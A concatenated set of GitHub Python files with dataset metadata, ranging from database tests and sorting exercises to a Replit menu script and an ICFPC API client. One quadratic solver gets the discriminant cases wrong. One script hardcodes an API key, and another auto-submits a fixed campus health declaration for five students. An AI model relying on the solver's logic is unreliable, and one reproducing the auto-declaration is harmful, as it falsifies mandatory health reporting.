'../brainex/experiments/data/ItalyPower.csv'\n db = gutils.from_csv(data_file, feature_num=0, num_worker=self.num_cores, use_spark=False)\n\n with pt.raises(Exception) as e:\n db.build(st=0.5, dist_type='eu', loi=40) # int type loi is not acceptable right now\n assert 'must be an iterable of length 1 or 2' in str(e.value)\n\n with pt.raises(Exception) as e:\n db.build(st=0.5, loi=(500, )) # the start point is great than the len of the dataset\n assert 'value type of the loi should be integer ' in str(e.value)\n\n with pt.raises(Exception) as e:\n db.build(st=0.5, loi=(10.4, 15.3))\n assert 'value type of the loi should be integer ' in str(e.value)\n\n with pt.raises(Exception) as e:\n db.build(st=0.5, loi=(-4, 32))\n assert 'value type of the loi should be positive integers' in str(e.value)\n\n with pt.raises(Exception) as e:\n db.build(st=0.5, loi=(-7, -5))\n assert 'value type of the loi should be positive integers' in str(e.value)\n\n def test_query(self):\n \"\"\"\n TODO\n 4. best_k type\n 5. sequence type issue\n :return:\n \"\"\"\n data_file = '../brainex/experiments/data_original/fNIRS.csv'\n feature_num = 5\n test_db = gutils.load(data_file, num_worker=self.num_cores, use_spark=False, feature_num=feature_num)\n test_db.build(0.05, loi=(test_db.get_max_seq_len() - 5, test_db.get_max_seq_len()))\n\n seed = random.seed(test_db.get_max_seq_len())\n seq_len = random.randint(test_db.get_max_seq_len() - 5, test_db.get_max_seq_len())\n query_seq = test_db.get_random_seq_of_len(sequence_len=seq_len, seed=seed)\n\n best_k = random.randint(1, 10)\n gq_rlt = test_db.query(query_seq, best_k=best_k) # new query sequence normalized issue\n assert len(gq_rlt) == best_k\n\n with pt.raises(Exception) as e:\n gq_rlt = test_db.query('fake_sequence', best_k)\n assert 'Unsupported query type' in str(e.value)\n\n with pt.raises(Exception) as e:\n gq_rlt = test_db.query(query_seq, best_k, overlap=2)\n assert 'overlap must be between 0. and 1. ' in str(e.value)\n\n\ndef _check_unique(x: list):\n seen = set()\n return not any(i in seen or seen.add(i) for i in x)\n","repo_name":"ebuntel/BrainExTemp","sub_path":"tests/test_genex_database.py","file_name":"test_genex_database.py","file_ext":"py","file_size_in_byte":8573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26828724662","text":"import math\n\nprint('Даны коэффициенты:')\na = float(input('a = '))\nb = float(input('b = '))\nc = float(input('c = '))\ndiscriminant = (b ** 2) - (4 * a * c) # формула дискриминанта\nif discriminant == 1: # один корень\n root = (-b + math.sqrt(discriminant)) / (2 * a)\n print('\\nКорень уравнения =', root)\nelif discriminant == 0: # при нуле корней нет\n print('\\nКорней нет!')\nelse: # всё остальное - 2 корня\n firstroot = (-b + math.sqrt(discriminant)) / (2 * a)\n secondroot = (-b - math.sqrt(discriminant)) / (2 * a)\n if firstroot > secondroot:\n print('\\nКорни уравнения:')\n print('x1 =', firstroot, '\\nx2 =', secondroot)\n else:\n print('\\nКорни уравнения:')\n print('x1 =', secondroot, '\\nx2 =', firstroot)","repo_name":"nyorf/skillbox-pythonbasic","sub_path":"pb-part1/module11/11.6/task9.py","file_name":"task9.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5833982134","text":"#!/usr/bin/env python3\nimport os\n\n\ndef clear():\n if os.name == 'nt':\n os.system('cls')\n else:\n os.system('clear')\n\n\nlastProject = None\nwhile True:\n days = os.listdir('100 Days of Code')\n choice = input('What do you wanna do?\\n'\n '1 - List Projects\\n'\n '2 - Run a project\\n'\n '3 - Just writing code (Dev Only)\\n'\n 'r - Run last project again\\n'\n 'x - Exit\\n')\n clear()\n if choice == '1':\n inc = 0\n for day in os.listdir('100 Days of Code'):\n print(day)\n inc += 1\n if inc % 10 == 0:\n cont = input('List more? y/n\\n')\n if cont == 'y' or cont == 'Y':\n clear()\n continue\n else:\n break\n elif choice == '2':\n choice = int(input('Which day\\'s project do you want to run? 1-100\\n'))\n if type(choice) == int and choice <= len(days):\n path = \"100 Days of Code/\" + str(days[choice - 1]) + \"/main.py\"\n if os.path.exists(path):\n lastProject = choice\n os.system(f'python3 \"{path}\"')\n else:\n print(f'Day {choice} hasn\\'t been completed yet.')\n elif choice > len(days):\n print(f'Day {choice} hasn\\'t been started yet.')\n else:\n clear()\n quit()\n elif choice == '3':\n os.system('cp /home/runner/Python/pynew /opt/virtualenvs/python3/bin/pynew')\n os.system('chmod +x /opt/virtualenvs/python3/bin/pynew')\n os.system('cp /home/runner/Python/.vimrc /home/runner/.vimrc')\n clear()\n quit()\n elif choice in ['r', 'R']:\n if lastProject:\n path = \"100 Days of Code/\" + str(days[lastProject - 1]) + \"/main.py\"\n os.system(f'python3 \"{path}\"')\n elif choice in ['x', 'X']:\n quit()\n else:\n clear()\n","repo_name":"Appl3Tree/Python","sub_path":"replit.py","file_name":"replit.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70348597314","text":"from openapi_client import *\n\nconf=Configuration(\n host='https://icfpc2020-api.testkontur.ru',\n api_key={'apiKey':'0efd47509729415d884f297166f5e823'})\nconf.debug=True\n\n\nclient=ApiClient(conf)\n\n\n# a=ScoreboardApiApi(client)\n\n# a=TeamsApiApi(client)\n\n\na=AliensApiApi(client)\n","repo_name":"grwlf/galaxy-lang","sub_path":"graveyard/src/apitest.py","file_name":"apitest.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38971037715","text":"import requests\nimport urllib3\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom os import environ\n\n#发件人\nEMAIL_PASSWORD = environ['EMAIL_PASSWORD']\n\n#ID&TOKEN\nID_1 = environ['ID_1']\nID_2 = environ['ID_2']\nID_3 = environ['ID_3']\nID_4 = environ['ID_4']\nID_5 = environ['ID_5']\nTOKEN_1 = environ['TOKEN_1']\nTOKEN_2 = environ['TOKEN_2']\nTOKEN_3 = environ['TOKEN_3']\nTOKEN_4 = environ['TOKEN_4']\nTOKEN_5 = environ['TOKEN_5']\n\ndef send_email(subject, text, receiver):\n\n #下面的发件人,收件人是用于邮件传输的。\n smtpserver = 'smtp.163.com'\n username = 'bjutclockin@163.com'\n password= EMAIL_PASSWORD\n sender= 'bjutclockin@163.com'\n\n #构造邮件对象MIMEMultipart对象\n msg = MIMEMultipart('mixed')\n msg['Subject'] = subject\n msg['From'] = 'bjutclockin@163.com '\n\n #构造文字内容\n text_plain = MIMEText(text, 'plain', 'utf-8')\n msg.attach(text_plain)\n\n #发送邮件\n smtp = smtplib.SMTP()\n smtp.connect('smtp.163.com')\n\n smtp.login(username, password)\n smtp.sendmail(sender, receiver, msg.as_string())\n smtp.quit()\n\n# 禁用warning\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\ndef func(id, token, receiver):\n\n # 获取JSESSIONID用headers\n url1 = 'http://bjut.sanyth.com:81/nonlogin/qywx/authentication.htm?appId=402880c97b1aa5f7017b1ad2bd97001b&urlb64' \\\n '=L3dlaXhpbi9zYW55dGgvaG9tZS5odG1s '\n h1 = {\n 'Accept': '*/*',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7',\n 'Connection': 'keep-alive',\n 'Host': 'bjut.sanyth.com:81',\n 'Cookie': 'id='+id+'; token='+token,\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/85.0.4183.83 Safari/537.36 '\n }\n #模拟GET用cookie登陆 HTTP/1.1\n r1 = requests.get(url=url1, headers=h1)\n print('r1状态码:', r1.status_code)\n setcookie = r1.history[0].headers['Set-Cookie']\n print('r1.history[0]cookie:', setcookie)\n strJSID = setcookie[:setcookie.index(';')]\n\n # 打卡用headers\n url2 = 'http://bjut.sanyth.com:81/syt/zzapply/operation.htm'\n h2 = {\n 'Accept': 'application/json, text/plain, */*',\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept-Language': 'zh-CN,zh-Hans;q=0.9',\n 'Origin': 'http://bjut.sanyth.com:81',\n 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, '\n 'like Gecko) Mobile/15E148 wxwork/3.1.16 MicroMessenger/7.0.1 Language/zh ColorScheme/Dark',\n 'Referer': 'http://bjut.sanyth.com:81/webApp/xuegong/index.html',\n 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n 'Connection': 'keep-alive',\n 'X-Requested-With': 'XMLHttpRequest',\n 'Cookie': strJSID + '; id='+id+'; token='+token,\n 'Host': 'bjut.sanyth.com:81',\n 'Content-length': '1150'\n }\n # 模拟POST 投寄打卡json\n r2 = requests.post(url=url2, headers=h2,\n data='data=%7B%22xmqkb%22%3A%7B%22id%22%3A%22402880c97b1c114b017b1c2af13d02d8%22%7D%2C%22c15%22%3A%22%E6%97%A0%E6%83%85%E5%86%B5%22%2C%22c16%22%3A%22%E5%9C%A8%E6%A0%A1%E4%B8%94%E4%BD%8F%E5%AE%BF%22%2C%22c17%22%3A%22%E5%9C%A8%E4%BA%AC%22%2C%22c18%22%3A%22%E4%BD%8E%E9%A3%8E%E9%99%A9%E5%9C%B0%E5%8C%BA%22%2C%22c12%22%3A%22%E5%8C%97%E4%BA%AC%E5%B8%82%2C%E5%8C%97%E4%BA%AC%E5%B8%82%2C%E6%9C%9D%E9%98%B3%E5%8C%BA%2C%22%2C%22type%22%3A%22YQSJSB%22%2C%22location_longitude%22%3A116.21161177441111%2C%22location_latitude%22%3A39.98611115356111%2C%22location_address%22%3A%22%E5%8C%97%E4%BA%AC%E5%B8%82%E6%9C%9D%E9%98%B3%E5%8C%BA%E5%B9%B3%E4%B9%90%E5%9B%AD100%E5%8F%B7%E5%8C%97%E4%BA%AC%E5%B7%A5%E4%B8%9A%E5%A4%A7%E5%AD%A6%22%7D&msgUrl=syt%2Fzzapply%2Flist.htm%3Ftype%3DYQSJSB%26xmid%3D402880c97b1c114b017b1c2af13d02d8&uploadFileStr=%7B%7D&multiSelectData=%7B%7D&type=YQSJSB')\n print('\\nr3状态码:', r2.status_code)\n # success->成功打卡 error->失败 Applied today->今天已经打过卡\n if r2.text == 'success':\n print('成功打卡')\n send_email('打卡成功!', '今天好好学习了吗?\\n:)', receiver)\n else:\n if r2.text == 'Applied today':\n print('今天已经打过卡')\n send_email('测试邮件,不必理会。', ':(', receiver)\n else:\n print('打卡失败')\n send_email('失败了失败了!!!', 'ID和TOKEN过期了!!!\\n:(\\n火速联系管理员更换,一次八百', receiver)\n r2.close()\n\n\nif __name__ == '__main__':\n\n #每七天重新获取一次id和token\n id = [ID_1, ID_2, ID_3, ID_4, ID_5]\n\n token = [TOKEN_1, TOKEN_2, TOKEN_3, TOKEN_4, TOKEN_5]\n\n #收件人\n EMAIL_RECEIVER_1 = environ['EMAIL_RECEIVER_1']\n EMAIL_RECEIVER_2 = environ['EMAIL_RECEIVER_2']\n EMAIL_RECEIVER_3 = environ['EMAIL_RECEIVER_3']\n EMAIL_RECEIVER_4 = environ['EMAIL_RECEIVER_4']\n EMAIL_RECEIVER_5 = environ['EMAIL_RECEIVER_5']\n receiver = [EMAIL_RECEIVER_1, EMAIL_RECEIVER_2, EMAIL_RECEIVER_3, EMAIL_RECEIVER_4, EMAIL_RECEIVER_5]\n\n for i in range(len(id)):\n func(id[i], token[i], receiver[i])\n","repo_name":"mxy1999smile/ClockIn","sub_path":"bjut1.py","file_name":"bjut1.py","file_ext":"py","file_size_in_byte":5328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73452997315","text":"#!/usr/bin/env python3\r\n__author__ = 'dmmjy9'\r\n\r\nfrom multiprocessing import Process,Queue\r\n\r\ndef f(q):\r\n\tq.put([44,None,'hello'])\r\n\r\nif __name__ == '__main__':\r\n\tq = Queue()\r\n\tp = Process(target=f,args=(q,))\r\n\tp.start()\r\n\tprint(\"from parent:\",q.get())\r\n\tp.join()","repo_name":"imtengyi/oldboy","sub_path":"Day8/process_test/process_queue.py","file_name":"process_queue.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4240810862","text":"# Python program for implementation of Selection \n# Sort \nimport sys \nimport time\n\ndef mergeSort(arr): \n if len(arr) >1: \n mid = len(arr)//2 # Finding the mid of the array \n L = arr[:mid] # Dividing the array elements \n R = arr[mid:] # into 2 halves \n \n mergeSort(L) # Sorting the first half \n mergeSort(R) # Sorting the second half \n \n i = j = k = 0\n \n # Copy data to temp arrays L[] and R[] \n while i < len(L) and j < len(R): \n if L[i] < R[j]: \n arr[k] = L[i] \n i+= 1\n else: \n arr[k] = R[j] \n j+= 1\n k+= 1\n \n # Checking if any element was left \n while i < len(L): \n arr[k] = L[i] \n i+= 1\n k+= 1\n \n while j < len(R): \n arr[k] = R[j] \n j+= 1\n k+= 1\n# Driver code to test above \narr = [64, 34, 25, 12, 22, 11, 90] \n \n\n# Using readlines() \nfile1 = open('myfile.txt', 'r') \nLines = file1.readlines() \n\narr = []\n# Strips the newline character \nfor line in Lines: \n arr.append(line.strip())\n\nlength = len(arr)\n\nprint (\"count :\", length)\n \nstart_time = time.perf_counter()\n\nmergeSort(arr) \n\nend_time = time.perf_counter()\n \n#Driver code to test above \nprint (\"Sorted array\") \nfor i in range(length): \n print(arr[i])\n\nprint (\"time : Duration : Bubble Sort\", end_time - start_time)","repo_name":"meanJustin/Algos","sub_path":"Demos/MergeSort.py","file_name":"MergeSort.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"33473503421","text":"import asyncio\nimport logging\nimport requests\n\nfrom requests.exceptions import HTTPError\nfrom nextcord.ext import commands\nfrom nextcord import Interaction\nfrom nextcord import SlashOption\nfrom typing import Final\n\nbot = commands.Bot(command_prefix='$')\n\nMAX_QUERY_LEN: Final = 512\nSOLVED_AC_API_URL: Final = \"https://solved.ac/api/v3/search/problem\"\n\n\n@bot.event\nasync def on_ready():\n logging.info(f'Logged in as {bot.user} (ID: {bot.user.id})')\n logging.info('------')\n\n\n@bot.slash_command(name='brb-rand', description='기본 커맨드. 모든 참가자들이 안 푼 문제를 랜덤하게 골라 대결합니다.', force_global=True)\nasync def brb_rand(inter: Interaction, competitors: str = SlashOption(description='참가자들의 백준 아이디 (공백으로 구분)', required=True), options: str = SlashOption(description='solved.ac 검색 옵션 (예. tier:b5..g1)', required=False, default=''), tag_hint_minutes: int = SlashOption(description='알고리즘 분류를 공개할 시간 (0분이면 비공개, 기본값 30분 경과시)', required=False, default=30, min_value=0), battle_timeout: int = SlashOption(description='대전 자동 종료 시간 (0분이면 자동 종료 안함, 기본값 60분 경과시)', required=False, default=60, min_value=0), alert_minutes: int = SlashOption(description='추가 알림 시간 (기본값 꺼짐)', required=False, default=0, min_value=1)):\n\n competitors: list = competitors.split()\n\n # 쿼리 문자열 만들기\n options = 'solvable:1&' + options + '&' if options else 'solvable:1&'\n query_competitors_len = len(options)\n query_competitors = [options]\n # 참가자 추가\n for person in competitors:\n partial_query = f'~solved_by:{person}&'\n query_competitors_len += len(partial_query)\n query_competitors.append(partial_query)\n if query_competitors_len > MAX_QUERY_LEN:\n await inter.send('쿼리가 너무 길어 문제 검색이 불가능합니다!\\n참가자나 옵션을 줄여주세요.')\n return\n\n query = ''.join(query_competitors)[:-1]\n\n # 문제를 검색\n chosen_problem = None\n try:\n chosen_problem = await search_problem(query)\n except HTTPError as e:\n await inter.send(f'문제 검색 중 오류가 발생했습니다. (HTTP {e.response.status_code})')\n return\n\n # 뽑은 문제로 대전 시작\n await initiate_battle(inter, chosen_problem, tag_hint_minutes,\n battle_timeout, alert_minutes)\n\n\n# solved.ac API에서 조건에 맞는 랜덤 문제를 뽑기\nasync def search_problem(query: str):\n chosen_problem = None\n logging.info(f'쿼리: {query}')\n query: dict = {'query': query, 'sort': 'random'}\n\n loop = asyncio.get_event_loop()\n future = loop.run_in_executor(\n None, requests.get, SOLVED_AC_API_URL, query)\n response = await future\n # HTTPError 예외\n response.raise_for_status()\n\n result = response.json()\n if result['count'] != 0:\n chosen_problem = result['items'][0]\n return chosen_problem\n\n\n# 뽑은 문제로 대전 시작\nasync def initiate_battle(inter: Interaction, chosen_problem, tag_hint_minutes: int, battle_timeout: int, alert_minutes: int):\n if not chosen_problem:\n await inter.send('조건에 맞는 문제를 찾을 수 없습니다.')\n return\n else:\n await inter.send(f\"{chosen_problem['problemId']}번: {chosen_problem['titleKo']}\\nhttps://www.acmicpc.net/problem/{chosen_problem['problemId']}\\n대전을 시작합니다! (아무때나 `stop`으로 중단)\")\n timer_msg = await inter.channel.send(f'0분 경과' + (f' (남은 시간 {battle_timeout}분)' if battle_timeout != 0 else ''))\n\n # `stop` 입력 감지\n def stop_check(msg):\n return msg.content == 'stop' and msg.channel.id == inter.channel.id\n\n # 대전 타이머 처리\n elapsed = 0\n\n while battle_timeout == 0 or battle_timeout-elapsed > 0:\n try:\n await bot.wait_for('message', check=stop_check, timeout=60)\n except asyncio.TimeoutError:\n elapsed += 1\n await timer_msg.edit(content=f'{elapsed}분 경과' + (f' (남은 시간 {battle_timeout-elapsed}분)' if battle_timeout != 0 else ''))\n if elapsed == tag_hint_minutes:\n tags = [tag['displayNames'][0]['name']\n for tag in chosen_problem['tags']]\n await inter.channel.send(f'{tag_hint_minutes}분 경과: 알고리즘 분류 힌트\\n||'+', '.join(tags)+'||')\n if elapsed == alert_minutes:\n await inter.channel.send(f'{elapsed}분 경과!')\n else:\n break\n\n await inter.channel.send(f'대전이 종료되었습니다. (소요시간: {elapsed}분)')\n","repo_name":"copyrat90/boj-rand-bot","sub_path":"brb_commands.py","file_name":"brb_commands.py","file_ext":"py","file_size_in_byte":4757,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71435193474","text":"\"\"\"\n给定一个单链表,把所有的奇数节点和偶数节点分别排在一起。请注意,这里的奇数节点和偶数节点指的是节点编号的奇偶性,而不是节点的值的奇偶性。\n\n请尝试使用原地算法完成。你的算法的空间复杂度应为 O(1),时间复杂度应为 O(nodes),nodes 为节点总数。\n\"\"\"\n# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution(object):\n def oddEvenList(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n if not (head and head.next):\n return head\n even = head.next\n odd = head\n t = even\n while even and even.next:\n odd.next = even.next\n odd = odd.next\n even.next = odd.next\n even = even.next\n # even.next = None\n odd.next = t\n return head","repo_name":"gump1368/leetcode-python","sub_path":"中级算法/链表/奇偶链表.py","file_name":"奇偶链表.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15159286773","text":"#! /usr/bin/env python3\n# coding: utf8\n\n\"\"\" Game title and instructions \"\"\"\n\nmaze_title = 'Aidez MacGyver à sortir du labyrinthe'\n\ngame_intro = 'Mais la sortie est bloquée par un gardien.\\n' \\\n 'Vous devez l\\'endormir grâce aux 3 objets\\n' \\\n 'que vous aurez ramassés en chemin :\\n' \\\n '- le tube,\\n' \\\n '- l\\'aiguille,\\n' \\\n '- l\\'éther.\\n' \\\n 'Vous perdez si vous arrivez devant le gardien ' \\\n 'sans les 3 objets.' \\\n\n\ngame_instructions = 'Pour vous déplacer, utilisez les touches suivantes :\\n'\\\n '6 = à droite / 4 = à gauche / 8 = en haut / 2 = en bas\\n'\\\n 'Q = quitter la partie'\n\nend_of_game = 'A la prochaine !'\n","repo_name":"sofbrin/Projet-3","sub_path":"Constants.py","file_name":"Constants.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5697346206","text":"## https://www.acmicpc.net/problem/1715\n\nimport heapq\nimport sys\ninput = sys.stdin.readline\n\nn = int(input())\ncards = []\nfor i in range(n):\n heapq.heappush(cards, int(input()))\n\nans = 0\nwhile len(cards) > 1:\n c1 = heapq.heappop(cards)\n c2 = heapq.heappop(cards)\n heapq.heappush(cards, (c1+c2))\n ans += c1 + c2\n\nprint(ans)\n\n","repo_name":"wnsrb003/jungle-week2-01","sub_path":"bong6981/26번.py","file_name":"26번.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32940939967","text":"__author__ = \"Shihao Yu\"\n\"\"\"\nsource: https://leetcode.com/problems/valid-palindrome/\ndate: 11-12-2015\n----------------\nproblem:\nGiven a string, determine if it is a palindrome, considering only alphanumeric characters and ignoring cases.\n\nFor example,\n\"A man, a plan, a canal: Panama\" is a palindrome.\n\"race a car\" is not a palindrome.\n\nNote:\nHave you consider that the string might be empty? This is a good question to ask during an interview.\n\nFor the purpose of this problem, we define empty string as valid palindrome.\n----------------\n\"\"\"\n\n\nclass Solution(object):\n def isPalindrome(self, s):\n \"\"\"\n :type s: str\n :rtype: bool\n \"\"\"\n if not s:\n return True\n s = s.lower()\n near = 0\n rear = len(s) - 1\n while near <= rear:\n if not self.isAlphanumeric(s[near]):\n near += 1\n continue\n if not self.isAlphanumeric(s[rear]):\n rear -= 1\n continue\n if s[near] != s[rear]:\n return False\n else:\n near += 1\n rear -= 1\n return True\n\n def isAlphanumeric(self, c):\n if \"a\" <= c <= \"z\" or \"A\" <= c <= \"Z\" or \"0\" <= c <= \"9\":\n return True\n else:\n return False\n","repo_name":"yshwaker/leetcode-solution","sub_path":"125-ValidPalindrome.py","file_name":"125-ValidPalindrome.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"3450203593","text":"import numpy as np\nfrom scipy.integrate import odeint\n\ndef ode_func(y, t):\n return [y[1], t + (1-t/5)*y[0]*y[1]]\n\ndef func(u_prime):\n t_range = [1.0, 3.0]\n sol = odeint(ode_func, [2, u_prime], t_range)\n return sol[1, 0] + 1\n\ndef secant_method(f, x0, x1, k):\n for i in range(k):\n f_x0 = f(x0)\n f_x1 = f(x1)\n print(x1, f_x1)\n x1_new = x1 - f_x1 * (x1 - x0) / (f_x1 - f_x0)\n x0 = x1\n x1 = x1_new\n return x1\n\ndef muller_method(f, x0, x1, x2, k):\n # faster than secant method\n # since it uses the parabola to approximate the function\n for i in range(k):\n f2 = f(x0)\n f0 = f(x1)\n print(x1, f0)\n f1 = f(x2)\n h1 = x2 - x1\n h2 = x1 - x0\n gamma = h2 / h1\n c = f0\n a = (gamma * f1 - f0 * (1+gamma) + f2) / (gamma * h1**2 * (1+gamma))\n b = (f1 - f0 - a*h1**2) / h1\n if b > 0:\n x2_new = x1 - 2 * c / (b + np.sqrt(b*b-4*a*c))\n else:\n x2_new = x1 - 2 * c / (b + np.sqrt(b*b-4*a*c))\n if x2_new > x1:\n x0 = x1\n x1 = x2_new\n else:\n x2 = x1\n x1 = x2_new\n return x1\n\nif __name__ == '__main__':\n secant_method(func, -1.5, -3.0, 5)\n x2 = secant_method(func, -1.5, -3.0, 1)\n print('muller')\n muller_method(func, -1.5, x2, -3.0, 3)\n\n\n","repo_name":"zhaofeng-shu33/UndergraduateScience","sub_path":"numerical_analysis/pycode/muller.py","file_name":"muller.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25680944699","text":"# NAME: Daniel Crocker\n# DESCRIPTION: My custom functions(used within Maximum of Two Values and Feet To Inches programs\n\n#============================================================================================================\n# Define function to create the external file to store output\ndef createOutputFile():\n # Create an external data file using functions/methods such as open, write and close\n # to write results to an external output file\n fName = input(\"Enter the file name where you wish to write the output/results:\\n\")\n oFile = open(fName + \".txt\", \"w\")\n return fName, oFile\n # End createOutputFile function\n\n#============================================================================================================\n# MAXIMUM TWO VALUES FUNCTIONS:\n#============================================================================================================\n# Function to check the data type and for positive input\ndef checkIntDataType():\n while True: # Loop is used to check the data type, negative values or values greater than 100000000\n try:\n intDataType = int(input())\n except ValueError:\n print(\"You entered the wrong data type\\n\" \\\n \"Re-enter a positive whole number only:\")\n continue\n else:\n if (intDataType < 0) or (intDataType > 100000000):\n print(\"You entered a negative value or a value > 100,000,000\\n\" \\\n \"Re-enter a positive whole number only:\")\n continue\n else:\n break\n # end Try statement\n # end while True statement\n return intDataType\n # End checkIntDataType function\n\n#============================================================================================================\n# Define a function to compare two values\ndef findMax(v1, v2):\n if v1 <= v2:\n return v2\n else:\n return v1\n # End findMax function\n\n#============================================================================================================\n# Define a function to write the results and create a report\ndef writeResultsMax(val1, val2, max1, oFile):\n # REPORT HEADING AND COLUMN HEADINGS\n oFile.write(\"~\" * 60 + \"\\n\")\n oFile.write(f\"{'MAXIMUM OF TWO VALUES':^60}\\n\")\n oFile.write(\"~\" * 60 + \"\\n\")\n # Display the conversion from feet to inches\n oFile.write(f\" The maximum of {val1:,} and {val2:,} is {max1:,}\\n\")\n oFile.write(\"~\" * 60)\n # End of writeResultsMax function\n\n#============================================================================================================\n# FEET TO INCHES FUNCTIONS:\n#============================================================================================================\n# Function to check the data type and for positive input\ndef checkFloatDataType():\n while True: # Loop is used to check the data type, negative values or values greater than 100000000\n try:\n floatDataType = float(input())\n except ValueError:\n print(\"You entered the wrong data type\\n\" \\\n \"Re-enter a positive value [decimals are acceptable]\")\n continue\n else:\n if (floatDataType < 0) or (floatDataType > 100000000):\n print(\"You entered a negative value or a value > 100,000,000\\n\" \\\n \"Re-enter a positive value [decimals are acceptable]\")\n continue\n else:\n break\n # end Try statement\n # end while True statement\n return floatDataType\n # End checkFloatDataType function\n\n#============================================================================================================\n# Define a function to convert feet to inches\ndef calcFeetToInches(f1):\n in1 = f1 * 12\n return in1\n # End calcFeetToInches function\n\n#============================================================================================================\n# Define a function to write the results and create a report\ndef writeResultsFeet(f2, in2, oFile):\n # REPORT HEADING AND COLUMN HEADINGS\n oFile.write(\"~\" * 60 + \"\\n\")\n oFile.write(f\"{'CONVERTING FEET TO INCHES':^60}\\n\")\n oFile.write(\"~\" * 60 + \"\\n\")\n\n # Display the conversion from feet to inches\n oFile.write(f\" {f2:,.2f} feet = {in2:,.2f} inches\\n\")\n oFile.write(\"~\" * 60)\n # End of writeResultsFeet function\n\n#============================================================================================================\n\n# End of module\n","repo_name":"crockdc/intro-to-programming-class","sub_path":"Assignment9/Crocker_Daniel_myCustomFunctions.py","file_name":"Crocker_Daniel_myCustomFunctions.py","file_ext":"py","file_size_in_byte":4589,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"6825629112","text":"##!/usr/bin/env python\nimport math\nimport numpy as np\nimport os, sys\nimport subprocess\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport re\nfrom htmd.ui import *\n\ndef pdb_filter():\n need = open(\"fis1.pdb\",'w')\n with open(\"fis.pdb\",'r') as f:\n for line in f:\n if not re.match(r'^\\s*$|^END|^TER|^MODEL|^CONECT',line):\n need.write(line)\n need.close()\n\ndef correctpdb():\n atom = []; atno = []; atyp = []; altyp = []; res = []; chain = [];\n resno = []; altid = []; x = []; y = []; z = []; occ = []; Bfac = [];\n ele = []; charge = []\n with open('fis1.pdb', 'r') as f:\n for line in f:\n list1 = [atom, atno, atyp, altyp, res, chain, resno, altid, x, y, z,\n occ, Bfac, ele, charge]\n list2 = [line[0:6], line[6:11], line[12:16], line[16:17], line[17:20],\n line[21:22], line[22:26], line[26:27], line[30:38], line[38:46],\n line[46:54], line[54:60], line[60:66], line[76:78], line[78:80]]\n for i in range(len(list1)):\n list1[i].append(list2[i])\n df1 = pd.DataFrame({'atom': atom, 'atno': atno, 'atyp': atyp, 'altyp': altyp,\n 'res': res, 'chain': chain, 'resno': resno, 'altid': altid,\n 'X': x, 'Y': y, 'Z': z, 'occ': occ, 'B': Bfac, 'ele': ele,\n 'charge': charge})\n return df1\n#df1 = pd.read_csv('fis1.pdb', sep='\\s+',header=None)\n#df1.columns = ['atom', 'atno', 'atyp', 'res', 'chain', 'resno', 'X', 'Y', 'Z', 'A', 'B', 'seg', 'ele']\ndef formatdf(df1):\n mist = ['atom', 'atno', 'atyp', 'altyp', 'res', 'chain', 'resno',\n 'altid', 'X', 'Y', 'Z', 'occ', 'B', 'ele','charge']\n floats = ['X', 'Y', 'Z', 'occ', 'B']\n ints = ['atno','resno']\n for i in mist:\n df1[i]=df1[i].str.strip()\n for i in floats:\n df1[i]=df1[i].astype(float)\n for i in ints:\n df1[i]=df1[i].astype(int)\n return df1\n\ndef filter_psf_return_bonds():\n a = 0; b = 0\n temp = open(\"test.now\",'w')\n bondpairs=[];\n with open(\"fis.psf\", 'r') as f:\n for line in f:\n if not re.match(r'^\\s*$', line):\n if re.search(\"!NATOM\", line):\n a+=1\n if re.search(\"!NBOND: bonds\", line):\n a=0\n b+=1\n if re.search(\"!NTHETA: angles\", line):\n b=0\n if a>0:\n if 'NATOM' not in line:\n temp.write(line)\n if b>0:\n if 'NBOND: bonds' not in line:\n simples=[]\n dimples=re.split(\"\\s+\",line)\n for i in dimples:\n if not re.match(r'^\\s*$', i):\n simples.append(i)\n sam=range(0, len(simples), 2)\n for t in (sam):\n 